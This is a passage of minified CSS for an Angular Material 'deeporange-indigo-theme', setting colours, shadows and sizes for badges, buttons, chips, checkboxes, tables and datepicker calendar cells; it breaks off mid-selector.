.mat-badge.mat-badge{overflow:visible}.deeporange-indigo-theme .mat-badge-hidden .mat-badge-content{display:none}.deeporange-indigo-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.deeporange-indigo-theme .ng-animate-disabled .mat-badge-content,.deeporange-indigo-theme .mat-badge-content._mat-animation-noopable{transition:none}.deeporange-indigo-theme .mat-badge-content.mat-badge-active{transform:none}.deeporange-indigo-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.deeporange-indigo-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.deeporange-indigo-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.deeporange-indigo-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.deeporange-indigo-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .deeporange-indigo-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.deeporange-indigo-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .deeporange-indigo-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.deeporange-indigo-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.deeporange-indigo-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.deeporange-indigo-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.deeporange-indigo-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.deeporange-indigo-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .deeporange-indigo-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.deeporange-indigo-theme .mat-badge-content{color:#fff;background:#e64a19}.cdk-high-contrast-active .deeporange-indigo-theme .mat-badge-content{outline:solid 1px;border-radius:0}.deeporange-indigo-theme .mat-badge-accent .mat-badge-content{background:#1a237e;color:#fff}.deeporange-indigo-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.deeporange-indigo-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.deeporange-indigo-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.deeporange-indigo-theme .mat-button,.deeporange-indigo-theme .mat-icon-button,.deeporange-indigo-theme .mat-stroked-button{color:inherit;background:transparent}.deeporange-indigo-theme .mat-button.mat-primary,.deeporange-indigo-theme .mat-icon-button.mat-primary,.deeporange-indigo-theme .mat-stroked-button.mat-primary{color:#e64a19}.deeporange-indigo-theme .mat-button.mat-accent,.deeporange-indigo-theme .mat-icon-button.mat-accent,.deeporange-indigo-theme .mat-stroked-button.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-button.mat-warn,.deeporange-indigo-theme .mat-icon-button.mat-warn,.deeporange-indigo-theme .mat-stroked-button.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.deeporange-indigo-theme .mat-button.mat-primary .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#e64a19}.deeporange-indigo-theme .mat-button.mat-accent .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#1a237e}.deeporange-indigo-theme .mat-button.mat-warn .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.deeporange-indigo-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.deeporange-indigo-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.deeporange-indigo-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.deeporange-indigo-theme .mat-button .mat-ripple-element,.deeporange-indigo-theme .mat-icon-button .mat-ripple-element,.deeporange-indigo-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.deeporange-indigo-theme .mat-button-focus-overlay{background:black}.deeporange-indigo-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.deeporange-indigo-theme .mat-flat-button,.deeporange-indigo-theme .mat-raised-button,.deeporange-indigo-theme .mat-fab,.deeporange-indigo-theme .mat-mini-fab{color:#000000de;background-color:#fff}.deeporange-indigo-theme .mat-flat-button.mat-primary,.deeporange-indigo-theme .mat-raised-button.mat-primary,.deeporange-indigo-theme .mat-fab.mat-primary,.deeporange-indigo-theme .mat-mini-fab.mat-primary,.deeporange-indigo-theme .mat-flat-button.mat-accent,.deeporange-indigo-theme .mat-raised-button.mat-accent,.deeporange-indigo-theme .mat-fab.mat-accent,.deeporange-indigo-theme .mat-mini-fab.mat-accent,.deeporange-indigo-theme .mat-flat-button.mat-warn,.deeporange-indigo-theme .mat-raised-button.mat-warn,.deeporange-indigo-theme .mat-fab.mat-warn,.deeporange-indigo-theme .mat-mini-fab.mat-warn{color:#fff}.deeporange-indigo-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.deeporange-indigo-theme .mat-flat-button.mat-primary,.deeporange-indigo-theme .mat-raised-button.mat-primary,.deeporange-indigo-theme .mat-fab.mat-primary,.deeporange-indigo-theme .mat-mini-fab.mat-primary{background-color:#e64a19}.deeporange-indigo-theme .mat-flat-button.mat-accent,.deeporange-indigo-theme .mat-raised-button.mat-accent,.deeporange-indigo-theme .mat-fab.mat-accent,.deeporange-indigo-theme .mat-mini-fab.mat-accent{background-color:#1a237e}.deeporange-indigo-theme .mat-flat-button.mat-warn,.deeporange-indigo-theme .mat-raised-button.mat-warn,.deeporange-indigo-theme .mat-fab.mat-warn,.deeporange-indigo-theme .mat-mini-fab.mat-warn{background-color:#f44336}.deeporange-indigo-theme .mat-flat-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-fab.mat-button-disabled.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-primary.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-accent.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-warn.mat-button-disabled,.deeporange-indigo-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.deeporange-indigo-theme .mat-flat-button.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-raised-button.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-fab.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-mini-fab.mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-flat-button.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-raised-button.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-fab.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-mini-fab.mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-flat-button.mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-raised-button.mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-fab.mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-stroked-button:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeporange-indigo-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-fab:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeporange-indigo-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeporange-indigo-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.deeporange-indigo-theme .mat-button-toggle{color:#00000061}.deeporange-indigo-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.deeporange-indigo-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.deeporange-indigo-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.deeporange-indigo-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.deeporange-indigo-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.deeporange-indigo-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.deeporange-indigo-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.deeporange-indigo-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.deeporange-indigo-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.deeporange-indigo-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.deeporange-indigo-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.deeporange-indigo-theme .mat-card{background:white;color:#000000de}.deeporange-indigo-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeporange-indigo-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeporange-indigo-theme .mat-card-subtitle{color:#0000008a}.deeporange-indigo-theme .mat-checkbox-frame{border-color:#0000008a}.deeporange-indigo-theme .mat-checkbox-checkmark{fill:#fafafa}.deeporange-indigo-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.deeporange-indigo-theme .mat-checkbox-mixedmark{background-color:#fafafa}.deeporange-indigo-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#e64a19}.deeporange-indigo-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#1a237e}.deeporange-indigo-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.deeporange-indigo-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.deeporange-indigo-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.deeporange-indigo-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.deeporange-indigo-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.deeporange-indigo-theme .mat-checkbox .mat-ripple-element{background-color:#000}.deeporange-indigo-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.deeporange-indigo-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#e64a19}.deeporange-indigo-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.deeporange-indigo-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#1a237e}.deeporange-indigo-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.deeporange-indigo-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.deeporange-indigo-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.deeporange-indigo-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeporange-indigo-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip:after{background:black}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#e64a19;color:#fff}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#1a237e;color:#fff}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.deeporange-indigo-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.deeporange-indigo-theme .mat-table{background:white}.deeporange-indigo-theme .mat-table thead,.deeporange-indigo-theme .mat-table tbody,.deeporange-indigo-theme .mat-table tfoot,.deeporange-indigo-theme mat-header-row,.deeporange-indigo-theme mat-row,.deeporange-indigo-theme mat-footer-row,.deeporange-indigo-theme [mat-header-row],.deeporange-indigo-theme [mat-row],.deeporange-indigo-theme [mat-footer-row],.deeporange-indigo-theme .mat-table-sticky{background:inherit}.deeporange-indigo-theme mat-row,.deeporange-indigo-theme mat-header-row,.deeporange-indigo-theme mat-footer-row,.deeporange-indigo-theme th.mat-header-cell,.deeporange-indigo-theme td.mat-cell,.deeporange-indigo-theme td.mat-footer-cell{border-bottom-color:#0000001f}.deeporange-indigo-theme .mat-header-cell{color:#0000008a}.deeporange-indigo-theme .mat-cell,.deeporange-indigo-theme .mat-footer-cell{color:#000000de}.deeporange-indigo-theme .mat-calendar-arrow{fill:#0000008a}.deeporange-indigo-theme .mat-datepicker-toggle,.deeporange-indigo-theme .mat-datepicker-content .mat-calendar-next-button,.deeporange-indigo-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.deeporange-indigo-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-calendar-table-header,.deeporange-indigo-theme .mat-calendar-body-label{color:#0000008a}.deeporange-indigo-theme .mat-calendar-body-cell-content,.deeporange-indigo-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.deeporange-indigo-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.deeporange-indigo-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.deeporange-indigo-theme .mat-calendar-body-in-preview{color:#0000003d}.deeporange-indigo-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.deeporange-indigo-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.deeporange-indigo-theme .mat-calendar-body-in-range:before{background:rgba(230,74,25,.2)}.deeporange-indigo-theme .mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeporange-indigo-theme .mat-calendar-body-comparison-bridge-start:before,.deeporange-indigo-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(230,74,25,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-calendar-body-comparison-bridge-end:before,.deeporange-indigo-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(230,74,25,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeporange-indigo-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeporange-indigo-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeporange-indigo-theme .mat-calendar-body-selected{background-color:#e64a19;color:#fff}.deeporange-indigo-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#e64a1966}.deeporange-indigo-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeporange-indigo-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeporange-indigo-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#e64a194d}@media (hover: hover){.deeporange-indigo-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#e64a194d}}.deeporange-indigo-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(26,35,126,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.deeporange-indigo-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(26,35,126,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.deeporange-indigo-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(26,35,126,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#1a237e;color:#fff}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#1a237e66}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeporange-indigo-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeporange-indigo-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1a237e4d}@media (hover: hover){.deeporange-indigo-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1a237e4d}}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.deeporange-indigo-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.deeporange-indigo-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeporange-indigo-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeporange-indigo-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.deeporange-indigo-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.deeporange-indigo-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.deeporange-indigo-theme .mat-datepicker-toggle-active{color:#e64a19}.deeporange-indigo-theme .mat-datepicker-toggle-active.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-date-range-input-inner[disabled]{color:#00000061}.deeporange-indigo-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.deeporange-indigo-theme 